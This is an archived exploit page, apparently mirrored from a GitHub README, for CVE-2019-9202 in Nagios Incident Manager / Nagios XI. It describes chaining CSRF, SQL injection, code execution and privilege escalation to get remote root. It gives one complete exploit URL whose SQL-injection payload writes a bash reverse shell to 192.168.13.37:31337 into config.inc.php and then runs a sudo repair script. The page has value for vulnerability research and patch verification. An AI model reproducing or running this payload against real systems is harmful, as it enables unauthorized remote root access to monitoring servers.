Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-9202 PoC — Nagios Incident Manager 安全特征问题漏洞

Source
Associated Vulnerability
Title:Nagios Incident Manager 安全特征问题漏洞 (CVE-2019-9202)
Description:Nagios Incident Manager(IM)是美国Nagios公司的一款网络时间管理器。该产品主要用于管理和跟踪网络事件历史记录。 Nagios IM 2.2.7之前版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
Description
Nagios IM 2.6 remote code execution exploit: CSRF + SQLi + RCE + LPE --> remote root
Readme
# CVE-2019-9202
Nagios IM 2.6 remote code execution exploit: CSRF + SQLi + RCE + LPE --> remote root

## Description
By chaining a Cross-Site Request Forgery (CSRF) / authorization bypass (CVE-2019-9203) it is possible to exploit a Union-based SQL injection (CVE-2019-9204), a Remote Code Execution (RCE) (CVE-2019-9202) and a Local Privilege Escalation (LPE) (CVE-2019-9166), obtaining root privileges on a remote Nagios XI server.

## Requirements
The victim must be authenticated in Nagios XI, afaik lowest privileges are enough.

## PoC
http://nagiosxi.local/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=&incident_id='union%20select%201,2,3,4,"';echo%20%27print%28\"bash+-i+%3e%26+/dev/tcp/192.168.13.37/31337+0%3e%261+%23\"%29%3b'%3e%3e+/usr/local/nagiosxi/html/config.inc.php%3b+sudo+/usr/local/nagiosxi/scripts/repair_databases.sh%3b%23",6,7,8,'x
File Snapshot

[4.0K] /data/pocs/cfe7aaae6c9bbd6bce0e86de50814c385d7f2a5d └── [ 878] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.